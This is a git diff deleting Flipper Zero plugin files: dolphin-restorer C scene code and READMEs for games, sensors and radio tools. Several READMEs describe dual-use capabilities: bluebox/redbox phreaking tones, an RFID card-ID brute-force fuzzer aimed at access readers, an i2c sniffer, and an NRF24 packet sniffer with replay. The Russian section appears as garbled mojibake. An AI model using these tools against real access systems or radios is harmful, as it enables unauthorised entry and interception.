StorageMoveToSd* app = context; - furi_assert(app); - if(type == InputTypeShort) { - if(result == GuiButtonTypeRight) { - view_dispatcher_send_custom_event(app->view_dispatcher, MoveToSdCustomEventConfirm); - } else if(result == GuiButtonTypeLeft) { - view_dispatcher_send_custom_event(app->view_dispatcher, MoveToSdCustomEventExit); - } - } -} - -void drestorer_scene_confirm_on_enter(void* context) { - StorageMoveToSd* app = context; - - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Cancel", drestorer_scene_confirm_widget_callback, app); - widget_add_button_element( - app->widget, GuiButtonTypeRight, "Confirm", drestorer_scene_confirm_widget_callback, app); - - widget_add_string_element( - app->widget, 64, 10, AlignCenter, AlignCenter, FontPrimary, "Backup Found"); - widget_add_string_multiline_element( - app->widget, - 64, - 32, - AlignCenter, - AlignCenter, - FontSecondary, - "Copy backup from\nSD card to internal storage?"); - - view_dispatcher_switch_to_view(app->view_dispatcher, StorageMoveToSdViewWidget); -} - -bool drestorer_scene_confirm_on_event(void* context, SceneManagerEvent event) { - StorageMoveToSd* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == MoveToSdCustomEventConfirm) { - scene_manager_next_scene(app->scene_manager, StorageMoveToSdProgress); - consumed = true; - } else if(event.event == MoveToSdCustomEventExit) { - view_dispatcher_stop(app->view_dispatcher); - } - } - - return consumed; -} - -void drestorer_scene_confirm_on_exit(void* context) { - StorageMoveToSd* app = context; - widget_reset(app->widget); -} diff --git a/applications/plugins/dolphinrestorer/scenes/drestorer_scene_progress.c b/applications/plugins/dolphinrestorer/scenes/drestorer_scene_progress.c deleted file mode 100644 index 7c65afb4c..000000000 --- a/applications/plugins/dolphinrestorer/scenes/drestorer_scene_progress.c +++ /dev/null @@ -1,31 +0,0 @@ -#include "../drestorer.h" - -void drestorer_scene_progress_on_enter(void* context) { - StorageMoveToSd* app = context; - - widget_add_string_element( - app->widget, 64, 10, AlignCenter, AlignCenter, FontPrimary, "Moving..."); - - view_dispatcher_switch_to_view(app->view_dispatcher, StorageMoveToSdViewWidget); - - drestorer_perform(); - view_dispatcher_send_custom_event(app->view_dispatcher, MoveToSdCustomEventExit); -} - -bool drestorer_scene_progress_on_event(void* context, SceneManagerEvent event) { - StorageMoveToSd* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - view_dispatcher_stop(app->view_dispatcher); - } else if(event.type == SceneManagerEventTypeBack) { - consumed = true; - } - - return consumed; -} - -void drestorer_scene_progress_on_exit(void* context) { - StorageMoveToSd* app = context; - widget_reset(app->widget); -} diff --git a/applications/plugins/doom/README.md b/applications/plugins/doom/README.md deleted file mode 100644 index 86e8d6d28..000000000 --- a/applications/plugins/doom/README.md +++ /dev/null @@ -1,68 +0,0 @@ -# Doom Flipper Zero edition - -
- -## Will it run Doom? -As tradition goes, Doom is being ported to almost every possible embedded electronic device. Therefore I did an attempt to come up with something close to Doom and still compatible on the Flipper Zero's hardware.
This is not the actual Doom game but a port made from yet another Doom port to the Arduino Nano (https://github.com/daveruiz/doom-nano/). This port is basically a raycasting engine, using Doom sprites.
-This version is very basic and might be improved over time. - -## How to install on Flipper Zero -During the porting process, minor changes were made to the workings (and build options) of the current firmware. These changes are documented here and are necessary in order to get a working firmware build that contains this Doom port. -### Modifying the firmware & build options - * In the `sites/cc.scons` add the following values to the `CCFLAGS` section: - ``` - ... -"-Wno-unused-parameter", -"-Wno-type-limits", -"-Wno-unused-variable", -... - ``` - * In `applications/gui/canvas_i.h` comment out the following line:
- `uint8_t* canvas_get_buffer(Canvas* canvas);` --> `//uint8_t* canvas_get_buffer(Canvas* canvas);` - - * In `applications/gui/canvas.h` add the following lines: - ``` - uint8_t* canvas_get_buffer(Canvas* canvas); - void canvas_draw_icon_bitmap(Canvas* canvas, uint8_t x, uint8_t y, int16_t w, int16_t h, const Icon* icon); - ``` - * In `applications/gui/canvas.c` add the following function: - ``` - void canvas_draw_icon_bitmap(Canvas* canvas, uint8_t x, uint8_t y, int16_t w, int16_t h, const Icon* icon){ - furi_assert(canvas); - furi_assert(icon); - - x += canvas->offset_x; - y += canvas->offset_y; - uint8_t* icon_data = NULL; - furi_hal_compress_icon_decode(icon_get_data(icon), &icon_data); - u8g2_DrawXBM(&canvas->fb, x, y, w, h, icon_data); - } - ``` - -### Installing the plugin in the firmware - * Make a folder called Doom in the applications folder. Add all the source files (also the compiled folder and it's files) in the Doom folder. - * Make the `applications/meta/application.fam` look like the following: - ``` - App( - appid="basic_plugins", - name="Basic applications for plug-in menu", - apptype=FlipperAppType.METAPACKAGE, - provides=[ - ... - "doom_game", - ... - - ], - ) - ``` - -If all went well the only thing left to do is building the firmware and installing it to the Flipper. - -## Screenshots -![Intro screen](assets/screenshot-intro2.jpg) - -![Start screen](assets/screenshot-start2.jpg) - -![Imp](assets/screenshot-imp2.jpg) - -![Medkit](assets/screenshot-medkit2.jpg) diff --git a/applications/plugins/dtmf_dolphin/README.md b/applications/plugins/dtmf_dolphin/README.md deleted file mode 100644 index 9a65a382a..000000000 --- a/applications/plugins/dtmf_dolphin/README.md +++ /dev/null @@ -1,18 +0,0 @@ -![Image](pics/dialer.jpg) - -[Original Link](https://github.com/litui/dtmf_dolphin) - -## DTMF Dolphin - -DTMF (Dual-Tone Multi-Frequency) dialer, Bluebox, and Redbox. - -Now in a release-ready state for both Dialer, Bluebox, and Redbox (US/UK) functionality! - -Please note that using the current tone output method, the 2600 tone is scaled about 33 Hz higher than it should be. This is a limitation of the current sample rate. - -### Educational Links: - -* http://www.phrack.org/issues/25/7.html#article -* https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling -* https://en.wikipedia.org/wiki/Blue_box -* https://en.wikipedia.org/wiki/Red_box_(phreaking) diff --git a/applications/plugins/dtmf_dolphin/pics/dialer.jpg b/applications/plugins/dtmf_dolphin/pics/dialer.jpg deleted file mode 100644 index ff6fad7a8..000000000 Binary files a/applications/plugins/dtmf_dolphin/pics/dialer.jpg and /dev/null differ diff --git a/applications/plugins/flashlight/README.md b/applications/plugins/flashlight/README.md deleted file mode 100644 index a40cb2d5a..000000000 --- a/applications/plugins/flashlight/README.md +++ /dev/null @@ -1,7 +0,0 @@ -# Flashlight Plugin for Flipper Zero - -Simple Flashlight special for @Svaarich by @xMasterX - -Enables 3.3v on pin 7/C3 and leaves it on when you exit app - -**Connect LED to (+ -> 7/C3) | (GND -> GND)** diff --git a/applications/plugins/flipfrid/README.md b/applications/plugins/flipfrid/README.md deleted file mode 100644 index 69fdb3e66..000000000 --- a/applications/plugins/flipfrid/README.md +++ /dev/null @@ -1,35 +0,0 @@ -# Flipfrid - -Basic EM4100 and HIDProx Fuzzer. - -## Why - -Flipfrid is a simple Rfid fuzzer using EM4100 protocol (125khz). -Objective is to provide a simple to use fuzzer to test readers by emulating various cards. - -- EM4100 cards use a 1 byte customer id and 4 bytes card id. -- HIDProx cards use a 2 byte customer id and 3 byte card id. - -## How - -1) Select the Protocol with the left and right arrows -2) Select the Mode with the up and down arrows - -### Info - -There are 2 Protocols: -- EM4100 -- HIDProx - -There are 4 modes: -- Default Values: Try factory/default keys and emulate one after the other. -- BF customer id: An iteration from 0X00 to 0XFF on the first byte. -- Load Dump file: Load an existing dump (.rfid) generated by Flipperzero, select an index and bruteforce from 0X00 to 0XFF; -- Uids list: Iterate over an input text file (one uid per line) and emulate one after the other. - - - - -TODO : -- blank screen on back press -- Add second byte test to `BF customer id` diff --git a/applications/plugins/flipper_i2ctools/README.md b/applications/plugins/flipper_i2ctools/README.md deleted file mode 100644 index 5ee1f881e..000000000 --- a/applications/plugins/flipper_i2ctools/README.md +++ /dev/null @@ -1,44 +0,0 @@ -# flipperzero-i2ctools - -[Original link](https://github.com/NaejEL/flipperzero-i2ctools) -Set of i2c tools for Flipper Zero - -![Preview](i2ctools.gif) - -## Wiring - -C0 -> SCL - -C1 -> SDA - -GND -> GND - ->/!\ Target must use 3v3 logic levels. If you not sure use an i2c isolator like ISO1541 - -## Tools - -### Scanner - -Look for i2c peripherals adresses - -### Sniffer - -Spy i2c traffic - -### Sender - -Send command to i2c peripherals and read result - -## TODO - -- [ ] Read more than 2 bytes in sender mode -- [ ] Add 10-bits adresses support -- [ ] Test with rate > 100khz -- [ ] Save records -- [ ] Play from files -- [ ] Kicad module -- [ ] Improve UI -- [ ] Refactor Event Management Code -- [ ] Add Documentation -- [ ] Remove max data size -- [ ] Remove max frames read size \ No newline at end of file diff --git a/applications/plugins/flipper_i2ctools/i2ctools.gif b/applications/plugins/flipper_i2ctools/i2ctools.gif deleted file mode 100644 index 7ad9a582c..000000000 Binary files a/applications/plugins/flipper_i2ctools/i2ctools.gif and /dev/null differ diff --git a/applications/plugins/game15/README.md b/applications/plugins/game15/README.md deleted file mode 100644 index b1710c919..000000000 --- a/applications/plugins/game15/README.md +++ /dev/null @@ -1,13 +0,0 @@ - -# Game "15" for Flipper Zero - -[Original link](https://github.com/x27/flipperzero-game15) - -Logic game [Wikipedia](https://en.wikipedia.org/wiki/15_puzzle) - -![Game screen](images/Game15.png) - -![Restore game](images/Game15Restore.png) - -![Popoup](images/Game15Popup.png) - diff --git a/applications/plugins/game_2048/README.md b/applications/plugins/game_2048/README.md deleted file mode 100644 index b743f1b59..000000000 --- a/applications/plugins/game_2048/README.md +++ /dev/null @@ -1,17 +0,0 @@ -# "2048" game for Flipper Zero -- play up to 65K -- progress is saved on exit - -![Game screen](images/screenshot1.png) -![Menu screen](images/screenshot2.png) - -#### TODO: - - add animations - -#### Thanks to: - - [DroomOne's FlappyBird](https://github.com/DroomOne/flipperzero-firmware/tree/dev/applications/flappy_bird) - - [x27's "15" Game](https://github.com/x27/flipperzero-game15) - -#### License -[MIT](LICENSE) -Copyright 2022 Eugene Kirzhanov diff --git a/applications/plugins/game_2048/images/screenshot1.png b/applications/plugins/game_2048/images/screenshot1.png deleted file mode 100644 index b2a7cb658..000000000 Binary files a/applications/plugins/game_2048/images/screenshot1.png and /dev/null differ diff --git a/applications/plugins/game_2048/images/screenshot2.png b/applications/plugins/game_2048/images/screenshot2.png deleted file mode 100644 index c188634ac..000000000 Binary files a/applications/plugins/game_2048/images/screenshot2.png and /dev/null differ diff --git a/applications/plugins/gpio_reader_a/README.md b/applications/plugins/gpio_reader_a/README.md deleted file mode 100644 index c911cf313..000000000 --- a/applications/plugins/gpio_reader_a/README.md +++ /dev/null @@ -1,3 +0,0 @@ -# flipperzero_GPIO_read - -Plugin to read the GPIOs on the Flipper Zero. diff --git a/applications/plugins/gpio_reader_b/README.md b/applications/plugins/gpio_reader_b/README.md deleted file mode 100644 index 35426a9e1..000000000 --- a/applications/plugins/gpio_reader_b/README.md +++ /dev/null @@ -1,16 +0,0 @@ -# flipperzero-gpioreader - -![image info](./gpioreader.png) - -This is a fork of the `gpio` app built into the flipper, with added functionality to read GPIO inputs. - -Supports pulling high or low. - -Does not (yet) support analog reads. - -Installation instructions (Linux): - - - Clone the following repo: https://github.com/flipperdevices/flipperzero-firmware - - Clone this repo into flipperzero-firmware/applications_user - - Plug in your FlipperZero - - Run `./fbt launch_app APPSRC=flipperzero-gpioreader` from within the flipperzero-firmware folder diff --git a/applications/plugins/gpio_reader_b/gpioreader.png b/applications/plugins/gpio_reader_b/gpioreader.png deleted file mode 100644 index 218764e78..000000000 Binary files a/applications/plugins/gpio_reader_b/gpioreader.png and /dev/null differ diff --git a/applications/plugins/gps_nmea_uart/README.md b/applications/plugins/gps_nmea_uart/README.md deleted file mode 100644 index 7af0fa3b3..000000000 --- a/applications/plugins/gps_nmea_uart/README.md +++ /dev/null @@ -1,34 +0,0 @@ -# GPS for Flipper Zero - -[Original link](https://github.com/ezod/flipperzero-gps) - -[Adafruit Ultimate GPS Breakout]. - -![ui](ui.png) - -Heavy lifting (NMEA parsing) provided by [minmea], which is included in this -repository. - -## Hardware Setup - -Connect the GPS module to power and the USART using GPIO pins 9 (3.3V), 11 -(GND), 13 (TX), and 14 (RX), as appropriate. - -![wiring](wiring.png) - - -## Contributing - -This project was a learning exercise and is more or less "complete" from my -perspective, but I will happily accept pull requests that improve and enhance -the functionality for others. - -Currently, the app only parses RMC and GGA sentences, and displays a subset of -the data that fits on the screen. The UART is also hard-coded to 9600 baud. -These limitations are largely driven by the GPS module I have to work with. A -more elaborate UI with scrolling or multiple screens, as well as a configurable -baud rate, may be useful for other GPS modules. - -[Adafruit Ultimate GPS Breakout]: https://www.adafruit.com/product/746 -[minmea]: https://github.com/kosma/minmea -[flipperzero-firmware]: https://github.com/flipperdevices/flipperzero-firmware diff --git a/applications/plugins/gps_nmea_uart/ui.png b/applications/plugins/gps_nmea_uart/ui.png deleted file mode 100644 index 8e5214574..000000000 Binary files a/applications/plugins/gps_nmea_uart/ui.png and /dev/null differ diff --git a/applications/plugins/gps_nmea_uart/wiring.png b/applications/plugins/gps_nmea_uart/wiring.png deleted file mode 100644 index 74b4a4401..000000000 Binary files a/applications/plugins/gps_nmea_uart/wiring.png and /dev/null differ diff --git a/applications/plugins/lightmeter/README.md b/applications/plugins/lightmeter/README.md deleted file mode 100644 index d9c071e67..000000000 --- a/applications/plugins/lightmeter/README.md +++ /dev/null @@ -1,21 +0,0 @@ -# flipperzero-lightmeter - -[Original link](https://github.com/oleksiikutuzov/flipperzero-lightmeter) - - - - -## Wiring - -``` -VCC -> 3.3V -GND -> GND -SCL -> C0 -SDA -> C1 -``` - -## TODO -- [ ] Save settings to sd card - -## References -App inspired by [lightmeter](https://github.com/vpominchuk/lightmeter) project for Arduino by [vpominchuk](https://github.com/vpominchuk). diff --git a/applications/plugins/lightmeter/lib/BH1750/README.md b/applications/plugins/lightmeter/lib/BH1750/README.md deleted file mode 100644 index b1338d4ab..000000000 --- a/applications/plugins/lightmeter/lib/BH1750/README.md +++ /dev/null @@ -1,2 +0,0 @@ -# flipperzero-BH1750 -BH1750 light sensor library for Flipper Zero diff --git a/applications/plugins/metronome/README.md b/applications/plugins/metronome/README.md deleted file mode 100644 index 4b6cd3122..000000000 --- a/applications/plugins/metronome/README.md +++ /dev/null @@ -1,23 +0,0 @@ -# Metronome - -[Original link](https://github.com/panki27/Metronome) - -A metronome for the [Flipper Zero](https://flipperzero.one/) device. Goes along perfectly with my [BPM tapper](https://github.com/panki27/bpm-tapper). - -![screenshot](img/screenshot.png) - -## Features - -- BPM adjustable, fine and coarse (hold pressed) -- Selectable amount of beats per bar -- Selectable note length -- First beat is pronounced -- Progress indicator -- LED flashes accordingly -- 3 different settings: Beep, Vibrate, Silent (push Down to change) - -## Compiling - -``` -./fbt firmware_metronome -``` diff --git a/applications/plugins/minesweeper/README.md b/applications/plugins/minesweeper/README.md deleted file mode 100644 index 28176bd5e..000000000 --- a/applications/plugins/minesweeper/README.md +++ /dev/null @@ -1,20 +0,0 @@ -# Minesweeper - -[Original Link](https://github.com/panki27/minesweeper) - -This is a Minesweeper implementation for the Flipper Zero device. - -![screenshot](img/screenshot.png) - -## Controls - -- Arrow buttons to move -- Push center button to open field -- Hold center button to toggle flag -- Push center button on an already open field that has the correct amount of flags surrounding it to auto-open the remaining ones (thanks @gelin!) - -## Compiling - -``` -./fbt firmware_minesweeper -``` diff --git a/applications/plugins/musictracker/.github/workflows/build_dev.yml b/applications/plugins/musictracker/.github/workflows/build_dev.yml deleted file mode 100644 index 4d3da2331..000000000 --- a/applications/plugins/musictracker/.github/workflows/build_dev.yml +++ /dev/null @@ -1,19 +0,0 @@ -name: Build dev - -on: - push: - branches: - - master - -jobs: - build_dev: - runs-on: ubuntu-latest - - steps: - - name: Checkout - uses: actions/checkout@v3 - - - name: Build - uses: oleksiikutuzov/flipperzero-ufbt-action@v1 - with: - channel: dev \ No newline at end of file diff --git a/applications/plugins/musictracker/README.md b/applications/plugins/musictracker/README.md deleted file mode 100644 index 584c2ff86..000000000 --- a/applications/plugins/musictracker/README.md +++ /dev/null @@ -1,4 +0,0 @@ -# Flipper Zero music tracker --=-=- MVP Stage: minimum viable player -=-=- - -[>Get latest build<](https://nightly.link/DrZlo13/flipper-zero-music-tracker/workflows/build_dev/master/zero_tracker.fap.zip) diff --git a/applications/plugins/musictracker/icons/.gitignore b/applications/plugins/musictracker/icons/.gitignore deleted file mode 100644 index e69de29bb..000000000 diff --git a/applications/plugins/nrf24scan/README.md b/applications/plugins/nrf24scan/README.md deleted file mode 100644 index f2c50fde5..000000000 --- a/applications/plugins/nrf24scan/README.md +++ /dev/null @@ -1,125 +0,0 @@ -# NRF24 scanner with logging and resend ability for Flipper Zero - -An [NRF24](https://www.sparkfun.com/datasheets/Components/SMD/nRF24L01Pluss_Preliminary_Product_Specification_v1_0.pdf) driver for the [Flipper Zero](https://flipperzero.one/) device. The NRF24 is a popular line of 2.4GHz radio transceivers from Nordic Semiconductors.
-NRF24L01+ Enhanced ShockBurst packet decoder example using Python: [nrf24_packet_decoder.py](https://raw.githubusercontent.com/vad7/nrf24scan/master/nrf24_packet_decoder.py)
-
-Flipper Zero FAP file: [Nrf24_Scanner.fap](https://raw.githubusercontent.com/vad7/nrf24scan/master/Nrf24_Scanner.fap) -

-___________________________________________________________________________ -
-ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ для Flipper Zero, Ρ‡ΠΈΡ‚Π°ΡŽΡ‰Π΅Π΅ эфир Π½Π° радиомодулях nRF24L01.
-Π’Ρ‹Π±ΠΎΡ€ ΠΏΡƒΠΊΡ‚Π° мСню - стрСлки Π²Π²Π΅Ρ€Ρ…/Π²Π½ΠΈΠ·, стрСлки Π²Π»Π΅Π²ΠΎ/Π²ΠΏΡ€Π°Π²ΠΎ Π»ΠΈΠ±ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΡŽΡ‚ настройки Π»ΠΈΠ±ΠΎ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ Π²ΠΈΠ΄ΠΎΠΌ списка, ΠΊΠ½ΠΎΠΏΠΊΠ° ОК Π»ΠΈΠ±ΠΎ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ Ρ€Π΅ΠΆΠΈΠΌ (ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠ΅ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅), Π»ΠΈΠ±ΠΎ выполняСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ дСйствиС (Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅).

-
-По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΏΡ€ΠΈ запускС Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Ρ€Π΅ΠΆΠΈΠΌ поиска (sniff) - ищутся всС Π²Π°Π»ΠΈΠ΄Π½Ρ‹Π΅ ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹ с ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ ΠΈ CRC.
-Π Π°Π·ΠΌΠ΅Ρ€ CRC ΠΈ Ρ‚ΠΈΠΏ ΠΏΠ°ΠΊΠ΅Ρ‚Π° (Enhanced ShockBurst ΠΈΠ»ΠΈ Π½Π΅Ρ‚) задаСтся. CRC ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ»ΠΈ 1 ΠΈΠ»ΠΈ 2 Π±Π°ΠΉΡ‚Π°.
-Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹ Ρ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ Π² RAW Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, Ρ‚ΠΎ Π΄Π»ΠΈΠ½Π° ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ большС 23 Π±Π°ΠΉΡ‚, ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹ с большСй Π΄Π»ΠΈΠ½Π½ΠΎΠΉ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΉΠΌΠ°Π½Ρ‹.
-Π’ настройках задаСтся ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ (payload)
-ПослС принятия, ΠΏΠ°ΠΊΠ΅Ρ‚ сдвигаСтся ΠΏΠΎΠ±ΠΈΡ‚Π½ΠΎ ΠΈ валидируСтся. ΠŸΠΎΠ±ΠΈΡ‚Π½Ρ‹ΠΉ сдвиг сильно ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ ΠΎΡ‚Π»ΠΎΠ²Π° ΠΏΠ°ΠΊΠ΅Ρ‚Π°, Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅ увСличиваСтся количСство мусорных ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ².
-ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… адрСсов запоминаСтся (просмотр - стрСлка Π²Π½ΠΈΠ· Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ просмотра адрСсов)
-ПослС поиска ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΡΡ Π² Ρ€Π΅ΠΆΠΈΠΌ сканирования ΠΏΠΎ Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΌ адрСсам ΠΈΠ»ΠΈ ΡΠΊΠ°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ адрСс ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚Π° ΠΈΠ»ΠΈ Π³Ρ€ΡƒΠΏΠΏΡ‹ адрСсов с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ LSB Π² адрСсС
-
- -
-АдрСса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ попались Π΄Π²Π°ΠΆΠ΄Ρ‹ ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π· ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ списком:
- -

-ИзмСнСниС Ρ€Π΅ΠΆΠΈΠΌΠ° sniff/scan - стрСлками Π½Π° ΠΏΡƒΠ½ΠΊΡ‚Π΅ Scan.

-Π Π΅ΠΆΠΈΠΌ сканирования (scan) - просто Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² ΠΏΠΎ Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ Π² настройках ΠΌΠ°ΠΊ адрСсам ΠΈ Π²ΠΈΠ΄Ρƒ ΠΏΠ°ΠΊΠ΅Ρ‚Π° - ESB/DPL.
-На Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΌ экранС Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ чтСния ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ» настроСк (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ загруТаСтся settings.txt ΠΈΠ· ΠΏΠ°ΠΏΠΊΠΈ nrf24_scanner Π½Π° SD ΠΊΠ°Ρ€Ρ‚Π΅).
-Π’ Ρ„Π°ΠΉΠ»Π΅ настройкС Π·Π°Π΄Π°ΡŽΡ‚ΡΡ адрСса (максимум 6) Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΌ Π²ΠΈΠ΄Π΅ (ΡΡ‚Π°Ρ€ΡˆΠΈΠΉ Π±Π°ΠΉΡ‚ - ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ), Π΄Π»ΠΈΠ½Π° адрСса вычисляСтся ΠΏΠΎ P0.
-ΠžΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ настройки ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ
-Настройки ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ΠΌ Π½Π° ОК.

-ОписаниС настроСк:
-Ch - Π½ΠΎΠΌΠ΅Ρ€ ΠΊΠ°Π½Π°Π»Π°.
-Rate - ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…
-Next Ch time - Ρ‡Π΅Ρ€Π΅Π· сколько сСкунд Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ Π½ΠΎΠΌΠ΅Ρ€ ΠΊΠ°Π½Π°Π»Π°
-Log - Π²Ρ‹Π±ΠΎΡ€ Ρ€Π΅ΠΆΠΈΠΌΠ° Π°Π²Ρ‚ΠΎ сохраннСния Π² Ρ„Π°ΠΉΠ»Ρ‹ log-xx.txt. Yes - ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ Π² Π½ΠΎΠ²Ρ‹ΠΉ Ρ„Π°ΠΉΠ» ΠΏΡ€ΠΈ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ Π±ΡƒΡ„Π΅Ρ€Π° Π² 99 записСй, Append - Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π² послСдний Ρ„Π°ΠΉΠ», Clear - Ρ‚ΠΎΠ»ΡŒΠΊΠΎ очистка Π±ΡƒΡ„Π΅Ρ€Π°

-Π’ ΠΏΡƒΠ½ΠΊΡ‚Π°Ρ… Ch, Rate, Next ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ OK ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ связи:
-ESB - Enhanced ShockBurst (Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π° Π°Π²Ρ‚ΠΎΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° подтвСрТдСния получСния ΠΏΠ°ΠΊΠ΅Ρ‚Π°, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊ Ρ‚ΠΎΠΆΠ΅ попытаСтся это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ ΠΊΠΎΠ»Π»ΠΈΠ·ΠΈΠΈ)
-DPL - ДинамичСский ΠΏΠ°ΠΊΠ΅Ρ‚
-CRC1/2 - Π Π°Π·ΠΌΠ΅Ρ€ CRC Π² Π±Π°ΠΉΡ‚Π°Ρ…
-Payload - Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π² Π±Π°ΠΉΡ‚Π°Ρ…
-
-ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ принятых ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ²

- -
-Π’ ΠΏΡƒΠ½ΠΊΡ‚Π΅ "Start scan/sniff" ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ стрСлками ΡΠΊΠ°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΈΠ»ΠΈ просто ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ (view).
-Если Π² Ρ„Π°ΠΉΠ»Π΅ настройки Π±Ρ‹Π»ΠΎ нСсколько адрСсов, Ρ‚ΠΎ пСрвая Ρ†ΠΈΡ„Ρ€Π° - Π½ΠΎΠΌΠ΅Ρ€ ΠΊΠ°Π½Π°Π»Π° (pipe) ΠΎΡ‚ 0 Π΄ΠΎ 5.
-Π‘Ρ‚Ρ€Π΅Π»ΠΊΠΈ - ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ ΠΏΠΎ списку ΠΈ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ скролированиС
-Π”ΠΎΠ»Π³ΠΈΠΉ OK - ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° ΠΏΠ°ΠΊΠ΅Ρ‚Π°
